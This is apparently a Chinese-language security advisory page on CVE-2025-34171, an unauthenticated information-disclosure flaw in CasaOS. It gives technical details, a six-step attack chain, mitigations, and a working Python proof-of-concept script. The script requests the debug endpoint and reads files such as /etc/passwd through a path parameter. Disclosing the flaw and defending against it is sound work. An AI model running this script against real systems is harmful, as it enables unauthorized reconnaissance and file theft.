IPBUF安全漏洞报告
English
CVE-2025-34171 CVSS 5.3 中危

CVE-2025-34171 CasaOS 未授权信息泄露漏洞

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2025-34171
漏洞类型
信息泄露/未授权访问
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CasaOS

相关标签

信息泄露未授权访问路径遍历CasaOSCVE-2025-34171信息收集侦察

漏洞概述

CVE-2025-34171是CasaOS软件中的一个严重信息泄露漏洞,影响版本直至0.4.15。该漏洞源于CasaOS在0.4.15及之前版本中暴露了多个未认证的API端点,允许远程攻击者无需任何身份验证即可访问敏感的配置文件和系统调试信息。攻击者可以通过构造特定的HTTP请求,利用/v1/users/image端点的路径参数遍历服务器文件系统,访问/var/lib/casaos/1/目录下的应用安装信息和配置文件。同时,/v1/sys/debug端点会返回主机操作系统、内核版本、硬件信息和存储详情等敏感数据。此外,这些端点返回的差异化错误消息还允许攻击者枚举服务器上任意文件的存在性。该漏洞为攻击者提供了丰富的侦察数据,可用于了解目标系统的配置、已安装应用和潜在弱点,从而为后续针对性攻击奠定基础。

技术细节

该漏洞主要涉及两个未认证API端点的安全缺陷:

1. /v1/users/image端点:此端点接受用户控制的路径参数,但未对路径进行充分验证和限制。攻击者可以通过构造类似/v1/users/image?path=xxx的请求,访问服务器上/var/lib/casaos/1/目录下的任意文件。该目录通常包含CasaOS已安装应用程序的信息和配置文件,攻击者可借此了解目标系统部署了哪些服务及其配置细节。

2. /v1/sys/debug端点:此端点直接返回系统调试信息,包括:
- 主机操作系统类型和版本
- 内核版本和详细信息
- 硬件配置信息
- 存储设备和容量信息

3. 文件枚举能力:由于这些端点在文件存在和不存在时返回不同的错误响应,攻击者可以系统性地探测目标文件系统,验证特定文件或目录是否存在,这对于了解系统结构和寻找其他漏洞利用点非常有价值。

攻击者通常使用HTTP GET请求即可触发上述漏洞,无需任何认证凭据或用户交互。

攻击链分析

STEP 1
1
扫描目标服务器,发现CasaOS服务(通常运行在8080端口)
STEP 2
2
向/v1/sys/debug端点发送GET请求,无需认证即可获取系统信息(操作系统、内核、硬件、存储)
STEP 3
3
利用/v1/users/image端点,通过path参数遍历文件系统,访问/var/lib/casaos/1/目录获取应用配置信息
STEP 4
4
通过差异化错误消息枚举目标系统上的任意文件路径,确认关键文件存在性
STEP 5
5
汇总收集的情报,分析目标系统的服务配置、已安装应用和潜在弱点
STEP 6
6
基于侦察结果,针对性寻找并利用其他漏洞(如未修复的RCE漏洞)进行深度入侵

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys import json # CVE-2025-34171 PoC - CasaOS Unauthenticated Information Disclosure # Target: CasaOS <= 0.4.15 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-34171 """ results = { 'vulnerable_endpoints': [], 'disclosed_info': {} } # Test 1: System debug endpoint debug_url = f"{target_url.rstrip('/')}/v1/sys/debug" try: response = requests.get(debug_url, timeout=10, verify=False) if response.status_code == 200: results['vulnerable_endpoints'].append(debug_url) results['disclosed_info']['system_debug'] = response.json() print(f"[+] Vulnerable: {debug_url}") print(f"[+] System info disclosed: {json.dumps(response.json(), indent=2)}") except Exception as e: print(f"[-] Error accessing debug endpoint: {e}") # Test 2: File disclosure via image endpoint file_url = f"{target_url.rstrip('/')}/v1/users/image" test_paths = [ "/var/lib/casaos/1/apps.json", "/var/lib/casaos/1/config.json", "/etc/passwd" ] for path in test_paths: try: response = requests.get(file_url, params={'path': path}, timeout=10, verify=False) if response.status_code == 200: results['vulnerable_endpoints'].append(f"{file_url}?path={path}") results['disclosed_info'][path] = response.text[:500] # First 500 chars print(f"[+] File disclosure: {path}") print(f"[+] Content preview: {response.text[:200]}...") except Exception as e: print(f"[-] Error accessing file {path}: {e}") # Test 3: File enumeration enum_url = f"{target_url.rstrip('/')}/v1/users/image" test_exists = ["/etc/hosts", "/etc/passwd", "/nonexistent_file_12345.txt"] for test_path in test_exists: try: response = requests.get(enum_url, params={'path': test_path}, timeout=10, verify=False) print(f"[*] Path {test_path} - Status: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") return results if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-34171.py <target_url>") print("Example: python cve-2025-34171.py http://192.168.1.100:8080") sys.exit(1) target = sys.argv[1] print(f"[*] Testing target: {target}") print(f"[*] CVE-2025-34171 - CasaOS Information Disclosure\n") results = check_vulnerability(target) if results['vulnerable_endpoints']: print(f"\n[!] Target is VULNERABLE") print(f"[!] Found {len(results['vulnerable_endpoints'])} vulnerable endpoints") else: print(f"\n[+] Target appears NOT vulnerable")

影响范围

CasaOS <= 0.4.15

防御指南

临时缓解措施
如果无法立即升级,可通过以下措施临时缓解:1) 在网络层配置ACL,仅允许受信任的IP地址访问CasaOS服务;2) 使用反向代理(如Nginx)添加认证层;3) 临时禁用/v1/sys/debug和/v1/users/image端点;4) 监控访问日志,排查异常的API请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表